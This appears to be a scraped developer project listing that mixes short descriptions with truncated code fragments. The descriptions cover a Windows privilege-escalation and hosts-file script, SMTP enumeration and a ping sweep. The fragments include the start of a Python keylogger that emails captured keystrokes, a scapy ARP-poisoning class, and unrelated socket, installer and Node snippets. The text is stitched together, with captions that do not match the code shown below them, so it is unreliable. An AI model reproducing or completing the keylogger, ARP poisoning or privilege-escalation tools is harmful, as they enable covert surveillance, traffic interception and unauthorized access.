David E Lares S davidlares

File: setup.ps1

(Scaling privileges and local DNS edit)

This script is adapted to perform a privilege escalation and a custom edition of the local DNS hosts file on Windows machines, located in the C:\Windows\system32\drivers\etc\ directory.

Execution

Changing the default's Restricted ExecutionPolicy to Bypass for the CurrentUser Scope.

SMTP Enumeration

SMTP is a text protocol used to send emails, it allows you to send commands so a server can understand.

it uses port 25 and certainly, it does not support packet encryption when exchanging.

There's also a bunch of commands that are used in a restrictive mode, it can expose sensitive data.

Example:

Ping Scan (Network sniffer)

This is a PoC script to find active machines in a port range with Python.

The whole idea is to use the ICMP protocol and check the ECHO_REPLY state, if it's found, it will "reply" with a string that starts with "bytes from: "

The ICMP protocols works on the link layer, however, it can be used in the application layer as well.

The 'Subprocess' module is required to run the /bin/ping -c 1 commands directly from Python, and for redirecting data output, error and input to the programming logic inside.

	from pynput import keyboard
	import threading
	import smtplib

	class KeyLogger:

	def __init__(self, time_interval, email, username, password):
	self.log = "KeyLogger started"
	self.interval = time_interval
	self.username = username

	import subprocess, smtplib, os, tempfile, requests

	def send_email(email, username, password, message):
	# instance
	server = smtplib.SMTP("smtp.mailtrap.io", 587)
	server.starttls()
	server.login(username, password) # login
	server.sendmail(email, email, message) # sending message
	server.quit()

	import java.util.Scanner;
	import java.net.Socket;
	import java.io.*;

	public class Client {
	// elements
	private Socket socket;
	private BufferedReader bufferedReader;
	private BufferedWriter bufferedWriter;
	private String username;

	[Code]
	procedure RunNodeInstaller;
	var
	ErrorCode: Integer;
	begin
	if not ShellExec('', 'msiexec.exe', ExpandConstant('/i "{app}\{#NodeInstaller}" /qb'), '', SW_SHOWNORMAL, ewWaitUntilTerminated, ErrorCode) then
	begin
	MsgBox(IntToStr(ErrorCode), mbError, MB_OK);
	end;
	end;

	const {fork} = require('child_process')
	const path = require('path')

	let cmd = fork(path.join(__dirname, 'run.js'), [], {cwd: process.cwd(), stdio: ['pipe', 'ipc']})
	// sending
	cmd.send('david')
	// receiving
	cmd.on('message', (data) => {
	console.log(data) // Hello david
	})

	#!/usr/bin/python

	from scapy.all import *
	import threading
	import argparse
	import pdb
	import sys
	import os

	class ARPPoisoning(threading.Thread):